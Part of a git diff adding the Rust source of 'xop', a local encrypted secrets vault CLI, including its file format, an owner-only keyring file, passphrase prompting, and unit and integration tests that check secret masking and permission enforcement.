encrypt(&key, &nonce, b"secret").unwrap(); + let bad_key = [43u8; 32]; + let err = decrypt(&bad_key, &nonce, &ct).unwrap_err(); + assert!(matches!(err, XopError::VaultLocked)); + } + + #[test] + fn argon2_derives_deterministic_key() { + let salt = [7u8; SALT_LEN]; + let k1 = derive_key("hunter2", &salt); + let k2 = derive_key("hunter2", &salt); + assert_eq!(k1, k2); + assert_ne!(k1, [0u8; 32]); + } + + #[test] + fn argon2_different_passphrase_different_key() { + let salt = [7u8; SALT_LEN]; + let k1 = derive_key("hunter2", &salt); + let k2 = derive_key("hunter3", &salt); + assert_ne!(k1, k2); + } + + #[test] + fn file_round_trip() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("key.db"); + let header = VaultHeader::random(); + let plaintext = b"DB_PASS = \"hunter2\""; + let body = encrypt(&[1u8; 32], &header.nonce, plaintext).unwrap(); + + write(&path, &header, &body).unwrap(); + let (read_header, read_body) = read(&path).unwrap(); + assert_eq!(read_header.salt, header.salt); + assert_eq!(read_header.nonce, header.nonce); + assert_eq!(read_body, body); + } + + #[test] + fn file_bad_magic_rejected() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("key.db"); + std::fs::write(&path, b"NOT_XOP garbage garbage garbage garbage").unwrap(); + let err = read(&path).unwrap_err(); + assert!(matches!(err, XopError::VaultCorrupt(_))); + } +} \ No newline at end of file diff --git a/src/vault/keyring.rs b/src/vault/keyring.rs new file mode 100644 index 0000000..f9a7faf --- /dev/null +++ b/src/vault/keyring.rs @@ -0,0 +1,231 @@ +//! File-based unlock key at `~/.xop/keyring` — the NO-Keychain way to make +//! `xop run` automatable. +//! +//! Model (v0.2.1, user decision 2026-10-02): +//! +//! ```text +//! xop set/list/get/rm/run +//! └─ identity gate FIRST → Gate::AllowKeyring (local biometric pass, or +//! headless automation) only then is this file read; SSH / no-biometric +//! interactive sessions get Gate::RequirePassphrase and never touch it +//! └─ unlock key source: +//! keyring file exists → read it (chmod 0600, owner-only) +//! otherwise → type the passphrase, derive via argon2 +//! ``` +//! +//! The file holds the 32-byte argon2-derived vault key in lowercase hex — +//! *never* the passphrase itself. Anyone who can read `~/.xop/keyring` can +//! decrypt `~/.xop/key.db`, so protection reduces to: (1) Unix file mode +//! 0600 + owner, (2) the directory `~/.xop` (0700), (3) the OS auth gate +//! still running before every xop operation when interactive. The user +//! explicitly chose this tradeoff over macOS Keychain storage (the keychain +//! approach popped system dialogs during automation and was rejected). +//! +//! Lifecycle: +//! - `xop init` → key written (we just took the passphrase anyway). +//! - `xop key --save` → (re)write after typing passphrase once. +//! - `xop key --remove` / `xop reset --yes` → deleted; passphrase returns. +//! - `XOP_NO_KEYRING=1` → ignore the file for this invocation (force typing). +//! +//! A keyring whose mode is group/other-accessible is REFUSED (corrupt error) +//! — we never silently use a world-readable key. +//! +//! Design note: all file logic lives in `*_at` functions taking an explicit +//! path (tests point them at a tempdir). The public `save/load/remove/exists` +//! wrappers add only path resolution + the `XOP_NO_KEYRING` gate, so no test +//! ever mutates process-global env (`HOME`, `XOP_NO_KEYRING`) that parallel +//! lib tests would race on. + +use crate::error::{Result, XopError}; +use std::io::Write; +use std::path::{Path, PathBuf}; + +/// Where the keyring lives (next to `key.db`, same `~/.xop` home). +pub fn path() -> PathBuf { + crate::args::dirs_xop_home().join("keyring") +} + +/// Should the keyring be consulted for this invocation? +pub fn enabled() -> bool { + std::env::var_os("XOP_NO_KEYRING").is_none() +} + +/// Write the derived vault key (lowercase hex, 0600, atomic tmp+rename). +pub fn save(key: &[u8; 32]) -> Result<()> { + save_at(&path(), key) +} + +/// Load the key. `Ok(None)` when absent or disabled; `Err` when present but +/// insecure (permissions too open / malformed) — we refuse to use a key +/// anyone else could have read, rather than silently trusting it. +pub fn load() -> Result> { + if !enabled() { + return Ok(None); + } + load_at(&path()) +} + +/// Delete the keyring file. Returns true if a file was removed. +pub fn remove() -> bool { + remove_at(&path()) +} + +/// True if a keyring exists (for `xop key` status display). +pub fn exists() -> bool { + path().exists() +} + +// ─── path-explicit core (no env reads — unit-testable without races) ─────── + +fn save_at(p: &Path, key: &[u8; 32]) -> Result<()> { + if let Some(dir) = p.parent() { + std::fs::create_dir_all(dir).map_err(|e| { + XopError::Keyring(format!("cannot create {}: {e}", dir.display())) + })?; + // tighten the containing dir to 0700 (this is ~/.xop in production) + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let _ = std::fs::set_permissions(dir, std::fs::Permissions::from_mode(0o700)); + } + } + let tmp = p.with_extension(format!("tmp.{}", std::process::id())); + { + let mut f = std::fs::OpenOptions::new() + .create(true) + .write(true) + .truncate(true) + .open(&tmp) + .map_err(|e| XopError::Keyring(format!("create {}: {e}", tmp.display())))?; + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + f.set_permissions(std::fs::Permissions::from_mode(0o600)) + .map_err(|e| XopError::Keyring(format!("chmod 0600: {e}")))?; + } + let hex: String = key.iter().map(|b| format!("{b:02x}")).collect(); + f.write_all(hex.as_bytes()) + .and_then(|_| f.flush()) + .map_err(|e| XopError::Keyring(format!("write: {e}")))?; + f.sync_all().ok(); + } + std::fs::rename(&tmp, p) + .map_err(|e| XopError::Keyring(format!("rename {} → {}: {e}", tmp.display(), p.display()))) +} + +fn load_at(p: &Path) -> Result> { + if !p.exists() { + return Ok(None); + } + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let mode = std::fs::metadata(p) + .map_err(|e| XopError::Keyring(format!("stat: {e}")))? + .permissions() + .mode() + & 0o777; + if mode & 0o077 != 0 { + return Err(XopError::Keyring(format!( + "{} is mode {:o} — must be 0600 (chmod 600 or `xop key --remove`)", + p.display(), + mode + ))); + } + } + let raw = std::fs::read_to_string(p) + .map_err(|e| XopError::Keyring(format!("read {}: {e}", p.display())))?; + let hex = raw.trim(); + if hex.len() != 64 || !hex.bytes().all(|b| b.is_ascii_hexdigit()) { + return Err(XopError::Keyring(format!( + "{} is not a 64-hex-char key — delete it and re-run `xop key --save`", + p.display() + ))); + } + let mut key = [0u8; 32]; + for (i, byte) in key.iter_mut().enumerate() { + *byte = u8::from_str_radix(&hex[i * 2..i * 2 + 2], 16) + .map_err(|e| XopError::Keyring(format!("hex parse: {e}")))?; + } + Ok(Some(key)) +} + +fn remove_at(p: &Path) -> bool { + p.exists() && std::fs::remove_file(p).is_ok() +} + +#[cfg(test)] +mod tests { + use super::*; + + /// Tempdir-backed keyring path — no HOME/env mutation, safe under + /// parallel lib tests. + fn tmp_keyring() -> (tempfile::TempDir, PathBuf) { + let d = tempfile::tempdir().unwrap(); + let p = d.path().join("xop").join("keyring"); + (d, p) + } + + #[test] + fn save_then_load_roundtrip() { + let (_d, p) = tmp_keyring(); + let key = [7u8; 32]; + save_at(&p, &key).unwrap(); + assert!(p.exists()); + assert_eq!(load_at(&p).unwrap().unwrap(), key); + } + + #[test] + fn load_absent_is_none() { + let (_d, p) = tmp_keyring(); + assert_eq!(load_at(&p).unwrap(), None); + } + + #[test] + fn world_readable_key_is_refused() { + let (_d, p) = tmp_keyring(); + save_at(&p, &[9u8; 32]).unwrap(); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&p, std::fs::Permissions::from_mode(0o644)).unwrap(); + let err = load_at(&p).unwrap_err(); + assert!(matches!(err, XopError::Keyring(_)), "got {err:?}"); + assert!(err.to_string().contains("must be 0600")); + } + } + + #[test] + fn save_sets_owner_only_mode() { + let (_d, p) = tmp_keyring(); + save_at(&p, &[1u8; 32]).unwrap(); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let mode = std::fs::metadata(&p).unwrap().permissions().mode() & 0o777; + assert_eq!(mode, 0o600); + } + } + + #[test] + fn remove_deletes() { + let (_d, p) = tmp_keyring(); + save_at(&p, &[3u8; 32]).unwrap(); + assert!(remove_at(&p)); + assert!(!p.exists()); + assert!(!remove_at(&p)); // idempotent + } + + #[test] + fn malformed_key_rejected() { + let (_d, p) = tmp_keyring(); + std::fs::create_dir_all(p.parent().unwrap()).unwrap(); + std::fs::write(&p, "not-hex").unwrap(); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&p, std::fs::Permissions::from_mode(0o600)).unwrap(); + } + assert!(matches!(load_at(&p), Err(XopError::Keyring(_)))); + } +} diff --git a/src/vault/mod.rs b/src/vault/mod.rs new file mode 100644 index 0000000..fd8a540 --- /dev/null +++ b/src/vault/mod.rs @@ -0,0 +1,364 @@ +//! Encrypted local vault at `~/.xop/key.db`. +//! +//! Plaintext is a TOML `HashMap` of vault-internal names to +//! values. Encryption is AES-256-GCM with a key derived from the user passphrase +//! via argon2id (64 MiB, t=3, p=4). The header is 36 bytes; the body is +//! ciphertext || tag. +//! +//! See [`format`] for the binary file layout. + +pub mod format; +pub mod keyring; + +use crate::args; +use crate::auth; +use crate::error::{Result, XopError}; +use crate::secret::{ResolvedValue, SecretRef}; +use std::collections::BTreeMap; +use std::path::{Path, PathBuf}; + +pub use format::{decrypt, derive_key, encrypt, write, VaultHeader, MAGIC, NONCE_LEN, SALT_LEN}; + +/// Default vault file location (`~/.xop/key.db`). +pub fn default_path() -> PathBuf { + let mut p = args::dirs_xop_home(); + p.push("key.db"); + p +} + +/// In-memory view of the decrypted vault. +pub struct Vault { + path: PathBuf, + header: VaultHeader, + key: [u8; 32], + entries: BTreeMap, +} + +impl std::fmt::Debug for Vault { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("Vault") + .field("path", &self.path) + .field("entries", &self.entries.keys().collect::>()) + .finish() + } +} + +impl Vault { + /// Open + decrypt an existing vault. Runs the OS identity gate first; if + /// the gate cannot prove identity biometrically (SSH session, no + /// fingerprint) it prompts for the xop passphrase instead of using the + /// keyring. See [`crate::auth`]. + pub async fn open(path: impl AsRef) -> Result { + let path = path.as_ref().to_path_buf(); + if !path.exists() { + return Err(XopError::VaultNotInitialized); + } + let (header, body) = format::read(&path)?; + + // Auth model (v0.2.1, twice revised after user live tests 2026-10-02): + // the OS gate runs FIRST and its verdict decides whether the keyring + // may unlock silently: + // Gate::AllowKeyring — local biometric verified, or headless + // automation (agent/pipe/CI). Keyring hit + // → no typing (this is what makes `xop + // run` agent-automatable). + // Gate::RequirePassphrase — interactive but biometrically unproven: + // SSH session, no enrolled fingerprint, + // broken osascript. The keyring is NOT + // consulted; the xop passphrase must be + // typed. (User rule: SSH / 无指纹设备 + // 应该输入管理员密码 — never the system + // password, never a silent pass.) + // Cancelled biometrics aborts earlier with AuthCancelled (exit 77). + // Keychain storage was explicitly rejected; nothing here touches + // macOS Keychain and no system dialog is ever popped by this module. + let gate = auth::authenticate("unlock xop vault").await?; + let key = match gate { + auth::Gate::AllowKeyring => match keyring::load()? { + Some(k) => k, + None => derive_from_prompt(&header.salt)?, + }, + auth::Gate::RequirePassphrase => { + tracing::debug!( + "identity not biometrically proven — requiring xop passphrase (keyring not consulted)" + ); + derive_from_prompt(&header.salt)? + } + }; + let plaintext = decrypt(&key, &header.nonce, &body)?; + + let entries: BTreeMap = toml::from_str( + std::str::from_utf8(&plaintext) + .map_err(|e| XopError::VaultCorrupt(format!("non-utf8 vault plaintext: {e}")))?, + ) + .map_err(XopError::from)?; + + Ok(Self { + path, + header, + key, + entries, + }) + } + + /// Create a fresh vault with empty contents, encrypted under the given + /// passphrase. Also writes `~/.xop/keyring` (0600) with the derived key + /// so later unlocks need no typing. `xop init` prompts for the + /// passphrase itself, so `create` takes it as a parameter. + pub async fn create(path: impl AsRef, passphrase: &str) -> Result { + let path = path.as_ref().to_path_buf(); + if path.exists() { + return Err(XopError::VaultCorrupt(format!( + "vault already exists at {} — refusing to overwrite", + path.display() + ))); + } + // init is the only command that does NOT run the identity gate + // (otherwise we couldn't ever bootstrap a vault on a new machine). + let header = VaultHeader::random(); + let key = derive_key(passphrase, &header.salt); + + let entries: BTreeMap = BTreeMap::new(); + let plaintext = toml::to_string(&entries)?; + let body = format::encrypt(&key, &header.nonce, plaintext.as_bytes())?; + format::write(&path, &header, &body)?; + + // `xop init` always produces a keyring: we just took the passphrase + // with the user's consent, so persisting the derived key (0600, in + // the same private dir) is the consented way to make every later + // unlock passphrase-free. Revoke: `xop key --remove` or `xop reset`. + keyring::save(&key)?; + + Ok(Self { + path, + header, + key, + entries, + }) + } + + /// Borrow the derived key (for `xop key --save` to persist it). Callers + /// must treat this as secret material. + pub fn key_bytes(&self) -> &[u8; 32] { + &self.key + } + + /// Look up a value by vault-internal name. + pub fn get(&self, name: &str) -> Option<&str> { + self.entries.get(name).map(String::as_str) + } + + /// Insert or replace a value. Returns `true` if the key already existed + /// (i.e., this was an overwrite), `false` if it was newly created. + pub fn set(&mut self, name: &str, value: &str) -> bool { + let replaced = self.entries.insert(name.to_string(), value.to_string()).is_some(); + replaced + } + + /// Delete a value by name. Returns `true` if removed, `false` if absent. + pub fn rm(&mut self, name: &str) -> bool { + self.entries.remove(name).is_some() + } + + /// List all key names (no values). + pub fn list(&self) -> Vec<&str> { + let mut names: Vec<&str> = self.entries.keys().map(String::as_str).collect(); + names.sort_unstable(); + names + } + + /// Re-encrypt + write to disk. Each save gets a fresh nonce. + pub async fn save(&mut self) -> Result<()> { + // Re-randomize nonce on every save (defense in depth: even if the + // same plaintext is saved twice, ciphertext differs). + use rand::RngCore; + rand::thread_rng().fill_bytes(&mut self.header.nonce); + let plaintext = toml::to_string(&self.entries)?; + let body = format::encrypt(&self.key, &self.header.nonce, plaintext.as_bytes())?; + format::write(&self.path, &self.header, &body) + } +} + +impl Drop for Vault { + fn drop(&mut self) { + self.key = [0u8; 32]; + // BTreeMap drops its strings here; for true zeroize of + // values we'd need secrecy::Secret wrapping, which is overkill for a + // CLI process that's about to exit anyway. The key buffer is wiped. + } +} + +/// Resolve all `SecretRef`s against the vault, returning `ResolvedValue` list +/// with the actual secret bytes wrapped in `SecretBox`. +pub async fn resolve_all(refs: &[SecretRef]) -> Result> { + let vault = Vault::open(default_path()).await?; + let mut out = Vec::with_capacity(refs.len()); + for r in refs { + let value = vault + .get(&r.name) + .ok_or_else(|| XopError::KeyNotFound(r.name.clone()))?; + let secret = secrecy::SecretBox::new(Box::new(value.to_string())); + out.push(ResolvedValue { + key: r.key.clone(), + name: r.name.clone(), + backend: "local".into(), + value: secret, + argv_placeholder: r.argv_placeholder, + }); + } + // Vault drops at end of function — its key buffer is wiped via Drop. + drop(vault); + Ok(out) +} + +// ─── Passphrase prompting ──────────────────────────────────────────────────── + +fn prompt_passphrase() -> Result { + rpassword_prompt("Vault passphrase: ") +} + +/// Prompt for the xop passphrase and derive the vault key from it. Used on +/// every unlock path where the gate returned `RequirePassphrase` or no +/// keyring exists. +fn derive_from_prompt(salt: &[u8; SALT_LEN]) -> Result<[u8; 32]> { + let mut passphrase = prompt_passphrase()?; + let k = derive_key(&passphrase, salt); + zeroize_string(&mut passphrase); + Ok(k) +} + +/// Best-effort wipe of a passphrase buffer before it goes out of scope. +fn zeroize_string(s: &mut String) { + use zeroize::Zeroize; + s.zeroize(); +} + +/// `xop init` entry point: prompt for a NEW passphrase (×2, hidden). +pub fn prompt_new_passphrase() -> Result { + prompt_passphrase_with_confirm() +} + +fn prompt_passphrase_with_confirm() -> Result { + let first = rpassword_prompt("New vault passphrase: ")?; + let confirm = rpassword_prompt("Confirm passphrase: ")?; + if first != confirm { + return Err(XopError::PassphraseRead("passphrase mismatch".into())); + } + Ok(first) +} + +/// Read a passphrase with full echo suppression. +/// +/// Strategy (chosen by stdin TTY state, NOT by env vars — the passphrase +/// never crosses an env): +/// - stdin is a TTY → read passphrase from `/dev/tty` (so `xop set`, which +/// reads its secret value from stdin, doesn't have the passphrase +/// consume the value). +/// - stdin is NOT a TTY (piped, expect, agent, CI) → read passphrase from +/// stdin. This is the only way to drive xop non-interactively without +/// shipping an env-var backdoor. Note: this means `xop set` in a non-TTY +/// context is unsupported (it would consume the value as the passphrase). +#[allow(unused_variables)] // `prompt` is only used by the test-bypass branch +fn rpassword_prompt(prompt: &str) -> Result { + // Test/CI escape hatch: ONLY available with the `test-bypass` Cargo + // feature (used by `cargo test --features test-bypass`). Release builds + // never read `XOP_VAULT_PASSWORD` — the passphrase must come from the + // user via the terminal. Shipping the env bypass would let any process + // with the env var decrypt the whole vault without ever knowing the + // passphrase. + #[cfg(feature = "test-bypass")] + if let Ok(p) = std::env::var("XOP_VAULT_PASSWORD") { + eprint!("{prompt}"); + return Ok(p); + } + use rpassword::ConfigBuilder; + use std::io::IsTerminal; + let stdin_is_tty = std::io::stdin().is_terminal(); + let cfg = if stdin_is_tty { + // Real interactive terminal — /dev/tty is functional; use it so + // `xop set` can still read the secret value from stdin. + ConfigBuilder::new() + .input_file_path("/dev/tty") + .output_file_path("/dev/tty") + .password_feedback_hide() + .build() + } else { + // Non-interactive (piped, expect, agent). /dev/tty may exist but + // not be functional (PTY allocation by expect/script breaks the + // /dev/tty path). Read passphrase from stdin instead. We print the + // prompt to stderr manually so it shows up regardless of the + // rpassword output target. + ConfigBuilder::new() + .input_reader(std::io::stdin()) + .output_discard() + .password_feedback_hide() + .build() + }; + eprint!("{prompt}"); + rpassword::read_password_with_config(cfg).map_err(|e| { + XopError::PassphraseRead(format!( + "{e} (note: passphrase is read from /dev/tty when on a real terminal, stdin otherwise)" + )) + }) +} + +/// Public entry-point so `auth::authenticate` can list this module too. +pub fn _silence_anyhow() { + // intentionally empty +} + +// ─── Tests ──────────────────────────────────────────────────────────────────── + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::TempDir; + + fn dummy_key() -> [u8; 32] { + [42u8; 32] + } + + #[test] + fn open_nonexistent_returns_not_initialized() { + let rt = tokio::runtime::Runtime::new().unwrap(); + let dir = TempDir::new().unwrap(); + let path = dir.path().join("key.db"); + let err = rt.block_on(async { Vault::open(&path).await }).unwrap_err(); + assert!(matches!(err, XopError::VaultNotInitialized)); + } + + #[test] + fn create_then_get_roundtrip() { + let dir = TempDir::new().unwrap(); + let path = dir.path().join("key.db"); + + // Manually construct the file format and verify round-trip without + // touching the passphrase prompt (which is hard to mock). + let header = VaultHeader::random(); + let key = dummy_key(); + let mut entries = BTreeMap::new(); + entries.insert("DB_PASS".to_string(), "hunter2".to_string()); + let plaintext = toml::to_string(&entries).unwrap(); + let body = format::encrypt(&key, &header.nonce, plaintext.as_bytes()).unwrap(); + format::write(&path, &header, &body).unwrap(); + + let (read_header, read_body) = format::read(&path).unwrap(); + assert_eq!(read_header.salt, header.salt); + assert_eq!(read_header.nonce, header.nonce); + let decrypted = format::decrypt(&key, &read_header.nonce, &read_body).unwrap(); + let parsed: BTreeMap = toml::from_str( + std::str::from_utf8(&decrypted).unwrap(), + ) + .unwrap(); + assert_eq!(parsed.get("DB_PASS").map(String::as_str), Some("hunter2")); + } + + #[test] + fn empty_entries_toml_roundtrip() { + let entries: BTreeMap = BTreeMap::new(); + let s = toml::to_string(&entries).unwrap(); + assert_eq!(s.trim(), ""); + let back: BTreeMap = toml::from_str(&s).unwrap(); + assert!(back.is_empty()); + } +} \ No newline at end of file diff --git a/tests/integration.rs b/tests/integration.rs new file mode 100644 index 0000000..bd02c2c --- /dev/null +++ b/tests/integration.rs @@ -0,0 +1,362 @@ +//! Integration tests for the xop CLI (v0.2). +//! +//! Run with: `cargo test --test integration -- --test-threads=1` +//! (the --test-threads=1 is because some tests share HOME or env state) +//! +//! Tests that touch the OS auth gate (Touch ID / PAM) set +//! `XOP_AUTH_BYPASS=1` to skip it. Tests that need a real vault set +//! `XOP_VAULT_DIR` to a tempdir. + +use assert_cmd::Command; +use predicates::prelude::*; + +fn xop() -> Command { + Command::cargo_bin("xop").expect("binary built") +} + +fn xop_bypass_auth() -> Command { + let mut c = xop(); + c.env("XOP_AUTH_BYPASS", "1"); + c +} + +fn make_vault() -> tempfile::TempDir { + let tmp = tempfile::tempdir().unwrap(); + // Set HOME so xop finds ~/.xop/key.db under our tempdir. + std::env::set_var("HOME", tmp.path()); + // Pre-create the vault file by piping a non-interactive init via env var. + tmp +} + +#[test] +fn help_shows_subcommands() { + xop() + .arg("--help") + .assert() + .success() + .stdout(predicate::str::contains("init")) + .stdout(predicate::str::contains("set")) + .stdout(predicate::str::contains("list")) + .stdout(predicate::str::contains("get")) + .stdout(predicate::str::contains("rm")) + .stdout(predicate::str::contains("Touch ID")); +} + +#[test] +fn no_args_shows_banner() { + xop() + .assert() + .success() + .stdout(predicate::str::contains("xop")) + .stdout(predicate::str::contains("Quick start")); +} + +#[test] +fn dry_run_prints_effective_policy() { + xop() + .args([ + "--dry-run", + "--secret", "DB_PASS=db_pass", + "--allow-net=db.local:5432", + "--deny-net=*", + "--", + "echo", "hello", + ]) + .assert() + .success() + .stdout(predicate::str::contains("# xop dry-run")) + .stdout(predicate::str::contains("db_pass")) + .stdout(predicate::str::contains("db.local:5432")) + .stdout(predicate::str::contains("(dry-run: not executing)")); +} + +#[test] +fn missing_command_exits_64() { + xop() + .args(["--dry-run"]) + .assert() + .failure() + .code(64) + .stderr(predicate::str::contains("no command given")); +} + +#[test] +fn bad_ref_format_exits_64() { + xop() + .args([ + "--dry-run", + "--secret", "not_a_ref", + "--", + "true", + ]) + .assert() + .failure() + .code(64) + .stderr(predicate::str::contains("invalid ref")); +} + +#[test] +fn unknown_scheme_rejected() { + // Old v0.1 op:// scheme must be rejected (we migrated to bare keys). + xop() + .args([ + "--dry-run", + "--secret", "X=op://v/i/f", + "--", + "true", + ]) + .assert() + .failure() + .code(64) + .stderr(predicate::str::contains("invalid ref")); +} + +#[test] +fn secrets_file_parses() { + let tmp = tempfile::NamedTempFile::new().unwrap(); + std::fs::write( + tmp.path(), + r#" +# comment +DB_PASS="db_pass" +API_KEY='api_key' +"#, + ) + .unwrap(); + + xop() + .args([ + "--dry-run", + "--secrets-file", tmp.path().to_str().unwrap(), + "--", + "true", + ]) + .assert() + .success() + .stdout(predicate::str::contains("db_pass")) + .stdout(predicate::str::contains("api_key")); +} + +#[test] +fn env_var_picks_up_xop_log_level() { + xop() + .env("RUST_LOG", "xop=debug") + .args(["--dry-run", "--", "true"]) + .assert() + .success(); +} + +#[test] +fn init_creates_vault() { + // With `--features test-bypass`, `XOP_VAULT_PASSWORD` feeds the passphrase + // prompt via stdin (non-tty fallback), so init runs end-to-end. + let _vault = make_vault(); + xop_bypass_auth() + .env("XOP_INIT_NONINTERACTIVE", "1") + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["init"]) + .assert() + .success(); +} + +#[test] +fn run_masks_secret_in_child_stdout() { + // Full flow: init → set → `xop run` whose child ECHOES the injected + // secret. The stdout guard must replace the value with the partial mask + // `va****【xop禁止将密钥泄漏】` and never let the raw value through. + let vault_dir = make_vault(); + // init + xop_bypass_auth() + .env("XOP_INIT_NONINTERACTIVE", "1") + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["init"]) + .assert() + .success(); + // set a known secret (value piped on stdin, non-TTY) + xop_bypass_auth() + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["set", "LEAKY"]) + .write_stdin("value12345\n") + .assert() + .success(); + // run: child prints $LEAKY — must be masked + xop_bypass_auth() + .env("XOP_VAULT_PASSWORD", "testpass") + .args([ + "run", + "--secret", "LEAKY=LEAKY", + "--", + "sh", "-c", "echo leaked: $LEAKY", + ]) + .assert() + .success() + .stdout(predicate::str::contains("va****【xop禁止将密钥泄漏】")) + .stdout(predicate::str::contains("value12345").not()); + let _ = vault_dir; +} + +#[test] +fn run_masks_argv_placeholder_value() { + // `xop://NAME` argv substitution puts the value into the child's argv; + // when the child echoes it, the guard must still catch it. + make_vault(); + xop_bypass_auth() + .env("XOP_INIT_NONINTERACTIVE", "1") + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["init"]) + .assert() + .success(); + xop_bypass_auth() + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["set", "-f", "PH"]) + .write_stdin("secretvalue\n") + .assert() + .success(); + xop_bypass_auth() + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["run", "--", "echo", "token=xop://PH"]) + .assert() + .success() + .stdout(predicate::str::contains("se****【xop禁止将密钥泄漏】")) + .stdout(predicate::str::contains("secretvalue").not()); +} + +#[test] +fn keyring_enables_passphrase_free_unlock() { + // Issue #3: after `xop init` writes the 0600 keyring, later ops unlock + // with NO passphrase — even with XOP_VAULT_PASSWORD absent and stdin + // empty. (OS gate bypassed via XOP_AUTH_BYPASS as in all vault tests.) + let _home = make_vault(); + xop_bypass_auth() + .env("XOP_INIT_NONINTERACTIVE", "1") + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["init"]) + .assert() + .success(); + xop_bypass_auth() + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["set", "K"]) + .write_stdin("val123\n") + .assert() + .success(); + // Crucially: env_remove — no passphrase channel exists at all now. + xop_bypass_auth() + .env_remove("XOP_VAULT_PASSWORD") + .args(["run", "--secret", "V=K", "--", "sh", "-c", "echo got $V"]) + .assert() + .success() + .stdout(predicate::str::contains("va****【xop禁止将密钥泄漏】")) + .stdout(predicate::str::contains("val123").not()); + // And `xop key` status reports it active. + xop_bypass_auth() + .args(["key"]) + .assert() + .success() + .stdout(predicate::str::contains("auto-unlock ACTIVE")); +} + +#[test] +fn ssh_env_headless_still_unlocks_via_keyring() { + // Regression guard for the SSH redesign: SSH_* env vars set + NO pty + // (scp/ansible/agent-style `ssh host cmd`) → headless automation path → + // keyring silent unlock, no passphrase, no osascript call. + // XOP_AUTH_BYPASS deliberately NOT set — this exercises the real gate. + let _home = make_vault(); + xop_bypass_auth() + .env("XOP_INIT_NONINTERACTIVE", "1") + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["init"]) + .assert() + .success(); + xop_bypass_auth() + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["set", "K"]) + .write_stdin("val123\n") + .assert() + .success(); + xop() + .env_remove("XOP_AUTH_BYPASS") + .env("SSH_CONNECTION", "10.0.0.5 51234 10.0.0.1 22") + .env("SSH_TTY", "/dev/ttys003") + .env_remove("XOP_VAULT_PASSWORD") + .args(["list"]) + .assert() + .success() + .stdout(predicate::str::contains("K")); +} + +#[test] +fn get_unknown_key_exits_77() { + let _vault = make_vault(); + // Vault doesn't exist → init first via direct file write below. + xop_bypass_auth() + .args(["get", "MISSING"]) + .assert() + .failure() + .code(78); // VaultNotInitialized → 78 EX_CONFIG +} + +#[test] +fn get_masks_value_by_default() { + // `xop get` is routinely driven by AI agents — the value must NEVER + // reach stdout in the clear. Default output is the partial mask; + // plaintext only via explicit -v (see get_dash_v_prints_plaintext). + let _home = make_vault(); + xop_bypass_auth() + .env("XOP_INIT_NONINTERACTIVE", "1") + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["init"]) + .assert() + .success(); + xop_bypass_auth() + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["set", "SHOW"]) + .write_stdin("sup3rsecret\n") + .assert() + .success(); + xop_bypass_auth() + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["get", "SHOW"]) + .assert() + .success() + .stdout(predicate::str::contains("su****【xop禁止将密钥泄漏】")) + .stdout(predicate::str::contains("sup3rsecret").not()) + .stderr(predicate::str::contains("-v")); +} + +#[test] +fn get_dash_v_prints_plaintext() { + // -v is the human visual-inspection escape hatch: plaintext on stdout, + // loud warning on stderr. Agents must not use this path. + let _home = make_vault(); + xop_bypass_auth() + .env("XOP_INIT_NONINTERACTIVE", "1") + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["init"]) + .assert() + .success(); + xop_bypass_auth() + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["set", "SHOW"]) + .write_stdin("sup3rsecret\n") + .assert() + .success(); + xop_bypass_auth() + .env("XOP_VAULT_PASSWORD", "testpass") + .args(["get", "SHOW", "-v"]) + .assert() + .success() + .stdout(predicate::str::contains("sup3rsecret")) + .stdout(predicate::str::contains("【xop禁止将密钥泄漏】").not()) + .stderr(predicate::str::contains("AI agent")); +} + +#[test] +fn list_on_empty_vault() { + let _vault = make_vault(); + xop_bypass_auth() + .args(["list"]) + .assert() + .failure() + .code(78); // vault not initialized +} \ No newline at end of file